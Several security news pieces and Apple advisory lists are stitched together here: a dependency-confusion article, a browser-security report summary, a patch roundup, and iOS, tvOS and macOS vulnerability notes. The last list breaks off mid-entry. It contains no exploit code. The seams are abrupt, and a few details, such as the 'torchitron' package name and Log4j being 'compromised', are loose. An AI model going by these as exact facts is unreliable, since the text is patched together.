There's never enough time or staff to scan code repositories. To avoid dependency confusion attacks, use automated CI/CD tools to make fixes in hard-to-manage software dependencies.

Software dependencies, or a piece of software that an application requires to function, are notoriously difficult to manage and constitute a major software supply chain risk. If you're not aware of what's in your software supply chain, an upstream vulnerability in one of your dependencies can be fatal.

A simple React-based Web application can have upward of 1,700 transitive NodeJS "npm" dependencies, and after a few months "npm audit" will reveal that a relatively large number of those dependencies have security vulnerabilities. The case is similar for Python, Rust, and every other programming language with a package manager.

I like to think of dependencies as decaying fruit in the unrefrigerated section of the code grocer, _especially_ npm packages, which are often written by unpaid developers who have little motivation to put in more than the bare minimum of effort. They're often written for personal use and they're open sourced by chance, not by choice. They're not written to last.

    

NodeJS dependencies, highly vulnerable, live in production! I took this from an actual, production React-Native application found on GitHub.

Recently (as of the writing of this article), PyTorch, one of the top two most popular machine learning libraries for Python, was compromised for five days via its dependency "torchitron." The attacker was able to collect system information and steal 1,000 files from each affected user's home directory. In 2021, Log4j was famously compromised and because it was bundled into basically every Web-facing Java project, DevSecOps teams were under a lot of pressure to identify where exactly they were vulnerable.

    

Too many dependencies to reliably keep track of, even if most are "mostly" secure.

Even 20 _intentional_ dependencies are too many for a development team to continually audit, much less 2,000 _transitive ones_.

**What's Been Done So Far?**

Not all hope is lost. For _known_ (reported and accepted) vulnerabilities, tools exist, such as pip-audit, which scans a developer's Python working environment for vulnerabilities. Npm-audit does the same for nodeJS packages. Similar tools exist for every major programming language and, in fact, Google recently released OSV-Scanner, which attempts to be a Swiss Army knife for software dependency vulnerabilities. Whether developers are encouraged (or forced) to run these audits regularly is beyond the scope of this analysis, as is whether they actually take action to _remediate_ these known vulnerabilities.

However, luckily for all of us, automated CI/CD tools like Dependabot exist to make these fixes as painless as possible. These tools will continually scan your code repositories for out-of-date packages and automatically submit a pull request (PR) to fix them. Searching for "dependabot\[bot\]" or "renovate\[bot\]" on GitHub and filtering to active PRs yields millions of results! However, 3 million dependency fixes versus hundreds of millions of active PRs at any given time is an impossible quantification to attempt to make outside of an in-depth analysis.

**State of the Art Isn't Quite Good Enough**

You need to keep in mind that these auditing tools do nothing to protect developers against zero-day exploits or N-days that were reported but have yet to be officially accepted. In the case of the PyTorch vulnerability previously mentioned, none of the auditing tools would have caught this _class_ of dependency vulnerability, because there was no traditional "software vulnerability" being exploited. These "dependency confusion" attacks take advantage of the fact that package managers look to their "default" repository before checking other repositories that dependencies may select for _their_ dependencies. In the case of PyTorch, the "torchitron" dependency was self-hosted by the PyTorch Foundation. When the attacker uploaded their version to PyPI, it took precedence over the official version.

How long will this continue? Forever. If there is value in exploiting these vulnerabilities, attackers will continue to take advantage of them. Luckily, in the case of PyTorch, "only" data exfiltration took place. Future victims might not be so lucky, however. A sophisticated attacker only needs one successful attempt at access to remain persistent in a victim's system (and network).

**What Does This Mean for Me?**

Did you install your packages from the command line? If so, did you type them in properly? Now that you've installed your dependencies "correctly," did you verify that the code for each dependency does exactly what you think it does? Did you verify that each dependency was installed from the expected package repository? Did you ….

Probably not, and that's OK! It's inhumane to expect developers to do this for every single dependency. The best bet for software developers, software companies, and even individual tinkerers is to have some form of runtime protection/detection. Luckily for us all, there are detection and response tools that have relatively recently been created which are now part of a healthy and competitive ecosystem! Many of them, like Falco, Sysdig Open Source, and Osquery, even have free and open source components. Most even come with a default set of rules/protections.

On Shaky Ground: Why Dependencies Will Be Your Downfall

As a primary working interface, the browser plays a significant role in today's corporate environment. The browser is constantly used by employees to access websites, SaaS applications and internal applications, from both managed and unmanaged devices. A new report published by LayerX, a browser security vendor, finds that attackers are exploiting this reality and are targeting it in increasing

As a primary working interface, the browser plays a significant role in today's corporate environment. The browser is constantly used by employees to access websites, SaaS applications and internal applications, from both managed and unmanaged devices. A new report published by LayerX, a browser security vendor, finds that attackers are exploiting this reality and are targeting it in increasing numbers (download report here).

****The key report findings****

1.  **Over half of all the browsers in the enterprise environment are misconfigured.** While a configured browser is nearly impossible to compromise, stealing data from misconfigured browsers is like taking candy from a baby. The Leading misconfigurations are improper use of personal browser profiles on work devices (29%), poor patching routine (50%), and the use of corporate browser profiles on unmanaged devices.
2.  **3 of every 10 SaaS applications are non-corporate shadow SaaS,** and no SaaS discovery/security solution can address its risks. Shadow SaaS, and more than that, shadow identities, are the number one source for enterprise data loss. No existing data security tool (whether it being a traditional DLP or a DSPM) has access or control to what employees can do on their own personal applications.
3.  **Attackers adopt evasive attack techniques that neither email security nor network security tools can detect.** Advanced browser-borne attack techniques, such as the use of SaaS applications to distribute malware or abusing high-reputation sites for phishing, have become a threat commodity.
4.  **Traditional security tools miss over half of those attack vectors at zero hour**, making targeted browser attacks into a leading cause for enterprise breaches.
5.  **Most browser risks may lead to identity theft.** Weak passwords, misconfigurations and SaaS security issues all circulate around the digital identity. This depressing finding outlines a main pain point - the digital identities are still the corporate Achilles heel.

The report also details the top browser security threats of 2022, which include phishing attacks via high reputation domains, malware distribution via file sharing systems, data leakage exploiting personal browser profiles, outdated browsers, compromised passwords, vulnerable unmanaged devices, high-risk extensions, shadow IT, and account takeovers with phishing credentials.

In addition to the stats and analysis of the prominent threats, the report provides a retrospect of the main news stories that left a mark in the world of browser security in 2022. Stories like the first Chrome browser zero-day hack of 2022, the end of Internet Explorer and the infamous Lastpass customer data breach are highlighted.

****A New Perspective on Browser Security****

The report's effectiveness and value are twofold, providing readers with knowledge about a rising new security category, browser security, and driving readers to ask themselves whether they are familiar with the risks and trends in the report and if they have protective measures in place to detect and prevent those threats.

The report is able to provide a new perspective on the risk – and opportunity – of browser security. It provides insights into how employees are using browsers and which browser-related vulnerabilities can be exploited, as well as recommendations for dealing with them. This is the result of the report being a combination of original research based on LayerX's own data points from within its environments alongside their analysis of information that is publicly available.

The report's recommendations can be used as a reference point when security professionals evaluate their security stack and consider their budgets. As the corporate environment continues to rely heavily on the browser as its primary working interface, it is important to be aware of the risks associated with browser misuse and take measures to protect against these threats.

To get more insights and details about the 2022-3 browser security landscape, read the complete report.

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2023 Browser Security Report Uncovers Major Browsing Risks and Blind Spots

Plus: Microsoft fixes several zero-day bugs, Google patches Chrome and Android, Mozilla rids Firefox of a full-screen vulnerability, and more.

February has been a big month for security updates, with the likes of Apple, Microsoft, and Google releasing patches to fix serious vulnerabilities. Meanwhile, a number of enterprise bugs have been squashed by firms that include VMware, SAP, and Citrix. 

The flaws fixed during the month include several that were being used in real-life attacks, so it’s worth checking that your software is up to date.

Here’s everything you need to know about the security updates released this month. 

Apple iOS and iPadOS 16.3.1

Just weeks after the release of iOS 16.3, Apple issued iOS and iPadOS 16.3.1—an emergency patch to fix vulnerabilities that included a flaw in the browser engine WebKit that was already being used in attacks.

Tracked as CVE-2023-23529, the already exploited bug could lead to arbitrary code execution, Apple warned on its support page. “Apple is aware of a report that this issue may have been actively exploited,” the firm added. Another flaw patched in iOS 16.3.1 is in the Kernel at the heart of the iPhone operating system. The bug, which is tracked as CVE-2023-23514, could allow an attacker to execute arbitrary code with Kernel privileges.

Later in the month, Apple documented another vulnerability fixed in iOS 16.3.1, CVE-2023-23524. Reported by David Benjamin, a software engineer at Google, the flaw could enable a denial of service attack via a maliciously crafted certificate.

Apple also released macOS Ventura 13.2.1, tvOS 16.3.2, and watchOS 9.3.1 during the month.

Microsoft 

In mid-February, Microsoft warned that its Patch Tuesday has fixed 76 security vulnerabilities, three of which are already being used in attacks. Seven of the flaws are marked as critical, according to Microsoft’s update guide.

Tracked as CVE-2023-21823, one of the most serious of the already exploited bugs in the Windows graphics component could allow an attacker to gain System privileges.

Another already exploited flaw, CVE-2023-21715, is a feature bypass issue in Microsoft Publisher, while CVE-2023-23376 is a privilege escalation vulnerability in Windows common log file system driver.

That’s a lot of zero-day flaws fixed in one release, so take it as a prompt to update your Microsoft-based systems as soon as possible.

Google Android 

Android’s February security update is here, fixing multiple vulnerabilities in devices running the tech giant’s smartphone software. The most severe of these issues is a security vulnerability in the Framework component that could lead to local escalation of privilege with no additional privileges needed, Google noted in an advisory. 

Among the issues fixed in the Framework, eight are rated as having a high impact. Meanwhile, Google has squashed six bugs in the Kernel, as well as flaws in the System, MediaTek, and Unisoc components.

During the month, Google patched multiple privilege escalation flaws, as well as information disclosure and denial of service vulnerabilities. The company also released a patch for three Pixel-specific security issues. The Android February patch is already available for Google’s Pixel devices, while Samsung has moved quickly to issue the update to users of its Galaxy Note 20 series.

Google Chrome 

Google has released Chrome 110 for its browser, fixing 15 security vulnerabilities, three of which are rated as having a high impact. Tracked as CVE-2023-0696, the first of these is a type confusion bug in the V8 JavaScript engine, Google wrote in a security advisory. 

Meanwhile, CVE-2023-0697 is a flaw that allows inappropriate implementation in full-screen mode, and CVE-2023-0698 is an out-of-bounds read flaw in WebRTC. Four medium-severity vulnerabilities include a use after free in GPU, a heap buffer overflow flaw in WebUI, and a type confusion vulnerability in Data Transfer. Two further flaws are rated as having a low impact.

Apple Users Need to Update iOS Now to Patch Serious Flaws

A logic issue was addressed with improved state management. This issue is fixed in iOS 15.6 and iPadOS 15.6. A user may be able to view restricted content from the lock screen.

Released July 20, 2022

**APFS**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32832: Tommy Muir (@Muirey03)

**AppleAVD**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A remote user may be able to cause kernel code execution

Description: A buffer overflow was addressed with improved bounds checking.

CVE-2022-32788: Natalie Silvanovich of Google Project Zero

**AppleAVD**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32824: Antonio Zekic (@antoniozekic) and John Aakerblom (@jaakerblom)

**AppleMobileFileIntegrity**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to gain root privileges

Description: An authorization issue was addressed with improved state management.

CVE-2022-32826: Mickey Jin (@patch1t) of Trend Micro

**Apple Neural Engine**

Available for devices with Apple Neural Engine: iPhone 8 and later, iPad Pro (3rd generation) and later, iPad Air (3rd generation) and later, and iPad mini (5th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An integer overflow was addressed with improved input validation.

CVE-2022-42805: Mohamed Ghannam (@\_simo36)

Entry added November 9, 2022

**Apple Neural Engine**

Available for devices with Apple Neural Engine: iPhone 8 and later, iPad Pro (3rd generation) and later, iPad Air (3rd generation) and later, and iPad mini (5th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-32948: Mohamed Ghannam (@\_simo36)

Entry added November 9, 2022

**Apple Neural Engine**

Available for devices with Apple Neural Engine: iPhone 8 and later, iPad Pro (3rd generation) and later, iPad Air (3rd generation) and later, and iPad mini (5th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-32845: Mohamed Ghannam (@\_simo36)

Entry updated November 9, 2022

**Apple Neural Engine**

Available for devices with Apple Neural Engine: iPhone 8 and later, iPad Pro (3rd generation) and later, iPad Air (3rd generation) and later, and iPad mini (5th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: This issue was addressed with improved checks.

CVE-2022-32840: Mohamed Ghannam (@\_simo36)

CVE-2022-32829: Tingting Yin of Tsinghua University, and Min Zheng of Ant Group

Entry updated September 16, 2022

**Apple Neural Engine**

Available for devices with Apple Neural Engine: iPhone 8 and later, iPad Pro (3rd generation) and later, iPad Air (3rd generation) and later, and iPad mini (5th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32810: Mohamed Ghannam (@\_simo36)

**Audio**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved input validation.

CVE-2022-32820: an anonymous researcher

**Audio**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32825: John Aakerblom (@jaakerblom)

**CoreMedia**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32828: Antonio Zekic (@antoniozekic) and John Aakerblom (@jaakerblom)

**CoreText**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A remote user may cause an unexpected app termination or arbitrary code execution

Description: The issue was addressed with improved bounds checks.

CVE-2022-32839: STAR Labs (@starlabs\_sg)

**File System Events**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to gain root privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-32819: Joshua Mason of Mandiant

**GPU Drivers**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: Multiple out-of-bounds write issues were addressed with improved bounds checking.

CVE-2022-32793: an anonymous researcher

**GPU Drivers**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-32821: John Aakerblom (@jaakerblom)

**Home**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user may be able to view restricted content from the lock screen

Description: A logic issue was addressed with improved state management.

CVE-2022-32855: Zitong Wu(吴梓桐) from Zhuhai No.1 Middle School(珠海市第一中学)

Entry updated September 16, 2022

**iCloud Photo Library**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to access sensitive user information

Description: An information disclosure issue was addressed by removing the vulnerable code.

CVE-2022-32849: Joshua Jones

**ICU**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-32787: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may result in disclosure of process memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32841: hjy79425575

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted file may lead to arbitrary code execution

Description: A logic issue was addressed with improved checks.

CVE-2022-32802: Ivan Fratric of Google Project Zero, Mickey Jin (@patch1t)

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing a maliciously crafted image may lead to disclosure of user information

Description: An out-of-bounds read issue was addressed with improved bounds checking.

CVE-2022-32830: Ye Zhang (@co0py\_Cat) of Baidu Security

**ImageIO**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing an image may lead to a denial-of-service

Description: A null pointer dereference was addressed with improved validation.

CVE-2022-32785: Yiğit Can YILMAZ (@yilmazcanyigit)

**IOMobileFrameBuffer**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved state management.

CVE-2022-26768: an anonymous researcher

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32813: Xinru Chi of Pangu Lab

CVE-2022-32815: Xinru Chi of Pangu Lab

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to disclose kernel memory

Description: An out-of-bounds read issue was addressed with improved bounds checking.

CVE-2022-32817: Xinru Chi of Pangu Lab

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app with arbitrary kernel read and write capability may be able to bypass Pointer Authentication

Description: A logic issue was addressed with improved state management.

CVE-2022-32844: Sreejith Krishnan R (@skr0x1c0)

**Kernel**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app with arbitrary kernel read and write capability may be able to bypass Pointer Authentication

Description: A race condition was addressed with improved state handling.

CVE-2022-32844: Sreejith Krishnan R (@skr0x1c0)

**Liblouis**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may cause unexpected app termination or arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2022-26981: Hexhive (hexhive.epfl.ch), NCNIPC of China (nipc.org.cn)

**libxml2**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to leak sensitive user information

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-32823

**Multi-Touch**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A type confusion issue was addressed with improved state handling.

CVE-2022-32814: Pan ZhenPeng (@Peterpan0927)

**PluginKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to read arbitrary files

Description: A logic issue was addressed with improved state management.

CVE-2022-32838: Mickey Jin (@patch1t) of Trend Micro

**Safari Extensions**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Visiting a maliciously crafted website may leak sensitive data

Description: The issue was addressed with improved UI handling.

CVE-2022-32784: Young Min Kim of CompSec Lab at Seoul National University

**Software Update**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A user in a privileged network position can track a user’s activity

Description: This issue was addressed by using HTTPS when sending information over the network.

CVE-2022-32857: Jeffrey Paul (sneak.berlin)

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Visiting a website that frames malicious content may lead to UI spoofing

Description: The issue was addressed with improved UI handling.

WebKit Bugzilla: 239316  
CVE-2022-32816: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.

**WebKit**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds write issue was addressed with improved input validation.

WebKit Bugzilla: 240720  
CVE-2022-32792: Manfred Paul (@\_manfp) working with Trend Micro Zero Day Initiative

**WebRTC**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved state management.

WebKit Bugzilla: 242339  
CVE-2022-2294: Jan Vojtesek of Avast Threat Intelligence team

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write was addressed with improved input validation.

CVE-2022-32860: Wang Yu of Cyberserval

Entry added November 9, 2022

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to cause unexpected system termination or write kernel memory

Description: This issue was addressed with improved checks.

CVE-2022-32837: Wang Yu of Cyberserval

**Wi-Fi**

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: A remote user may be able to cause unexpected system termination or corrupt kernel memory

Description: This issue was addressed with improved checks.

CVE-2022-32847: Wang Yu of Cyberserval

CVE-2022-32855: About the security content of iOS 15.6 and iPadOS 15.6

The issue was addressed with improved memory handling. This issue is fixed in tvOS 15.6, watchOS 8.7, iOS 15.6 and iPadOS 15.6. An app may be able to disclose kernel memory.

Released July 20, 2022

**APFS**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32832: Tommy Muir (@Muirey03)

**AppleAVD**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: A remote user may be able to cause kernel code execution

Description: A buffer overflow issue was addressed with improved bounds checking.

CVE-2022-32788: Natalie Silvanovich of Google Project Zero

**AppleAVD**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32824: Antonio Zekic (@antoniozekic) and John Aakerblom (@jaakerblom)

**AppleMobileFileIntegrity**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to gain root privileges

Description: An authorization issue was addressed with improved state management.

CVE-2022-32826: Mickey Jin (@patch1t) of Trend Micro

**Audio**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved input validation.

CVE-2022-32820: an anonymous researcher

**Audio**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32825: John Aakerblom (@jaakerblom)

**CoreMedia**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to disclose kernel memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32828: Antonio Zekic (@antoniozekic) and John Aakerblom (@jaakerblom)

**CoreText**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: A remote user may cause an unexpected app termination or arbitrary code execution

Description: The issue was addressed with improved bounds checks.

CVE-2022-32839: STAR Labs (@starlabs\_sg)

**File System Events**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to gain root privileges

Description: A logic issue was addressed with improved state management.

CVE-2022-32819: Joshua Mason of Mandiant

**GPU Drivers**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to disclose kernel memory

Description: Multiple out-of-bounds write issues were addressed with improved bounds checking.

CVE-2022-32793: an anonymous researcher

**GPU Drivers**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-32821: John Aakerblom (@jaakerblom)

**iCloud Photo Library**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to access sensitive user information

Description: An information disclosure issue was addressed by removing the vulnerable code.

CVE-2022-32849: Joshua Jones

**ICU**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-32787: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.

**ImageIO**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Processing a maliciously crafted image may result in disclosure of process memory

Description: The issue was addressed with improved memory handling.

CVE-2022-32841: hjy79425575

**ImageIO**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Processing a maliciously crafted file may lead to arbitrary code execution

Description: A logic issue was addressed with improved checks.

CVE-2022-32802: Ivan Fratric of Google Project Zero, Mickey Jin (@patch1t)

**ImageIO**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Processing a maliciously crafted image may lead to disclosure of user information

Description: An out-of-bounds read issue was addressed with improved bounds checking.

CVE-2022-32830: Ye Zhang (@co0py\_Cat) of Baidu Security

**Kernel**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app with root privileges may be able to execute arbitrary code with kernel privileges

Description: The issue was addressed with improved memory handling.

CVE-2022-32813: Xinru Chi of Pangu Lab

CVE-2022-32815: Xinru Chi of Pangu Lab

**Kernel**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to disclose kernel memory

Description: An out-of-bounds read issue was addressed with improved bounds checking.

CVE-2022-32817: Xinru Chi of Pangu Lab

**Kernel**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app with arbitrary kernel read and write capability may be able to bypass Pointer Authentication

Description: A logic issue was addressed with improved state management.

CVE-2022-32844: Sreejith Krishnan R (@skr0x1c0)

**Liblouis**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may cause unexpected app termination or arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2022-26981: Hexhive (hexhive.epfl.ch), NCNIPC of China (nipc.org.cn)

**libxml2**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to leak sensitive user information

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-32823

**Multi-Touch**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A type confusion issue was addressed with improved checks.

CVE-2022-32814: Pan ZhenPeng (@Peterpan0927)

**Software Update**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: A user in a privileged network position can track a user’s activity

Description: This issue was addressed by using HTTPS when sending information over the network.

CVE-2022-32857: Jeffrey Paul (sneak.berlin)

**WebKit**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Visiting a website that frames malicious content may lead to UI spoofing

Description: The issue was addressed with improved UI handling.

WebKit Bugzilla: 239316  
CVE-2022-32816: Dohyun Lee (@l33d0hyun) of SSD Secure Disclosure Labs & DNSLab, Korea Univ.

**WebKit**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: Processing maliciously crafted web content may lead to arbitrary code execution

Description: An out-of-bounds write issue was addressed with improved input validation.

WebKit Bugzilla: 240720  
CVE-2022-32792: Manfred Paul (@\_manfp) working with Trend Micro Zero Day Initiative

**Wi-Fi**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: An app may be able to cause unexpected system termination or write kernel memory

Description: This issue was addressed with improved checks.

CVE-2022-32837: Wang Yu of Cyberserval

**Wi-Fi**

Available for: Apple TV 4K, Apple TV 4K (2nd generation), and Apple TV HD

Impact: A remote user may be able to cause unexpected system termination or corrupt kernel memory

Description: This issue was addressed with improved checks.

CVE-2022-32847: Wang Yu of Cyberserval

CVE-2022-32824: About the security content of tvOS 15.6

This issue was addressed with improved checks. This issue is fixed in macOS Monterey 12.6.1, macOS Big Sur 11.7.1. A remote user may be able to write arbitrary files.

Released October 24, 2022

**AppleMobileFileIntegrity**

Available for: macOS Monterey

Impact: An app may be able to modify protected parts of the file system

Description: This issue was addressed by removing additional entitlements.

CVE-2022-42825: Mickey Jin (@patch1t)

**Audio**

Available for: macOS Monterey

Impact: Parsing a maliciously crafted audio file may lead to disclosure of user information 

Description: The issue was addressed with improved memory handling. 

CVE-2022-42798: Anonymous working with Trend Micro Zero Day Initiative

Entry added October 27, 2022

**Calendar**

Available for: macOS Monterey

Impact: A remote user may be able to write arbitrary files

Description: This issue was addressed with improved checks.

CVE-2022-46723: Mikko Kenttälä (@Turmio\_) of SensorFu

Entry added February 20, 2023

**Kernel**

Available for: macOS Monterey

Impact: An app may be able to execute arbitrary code with kernel privileges

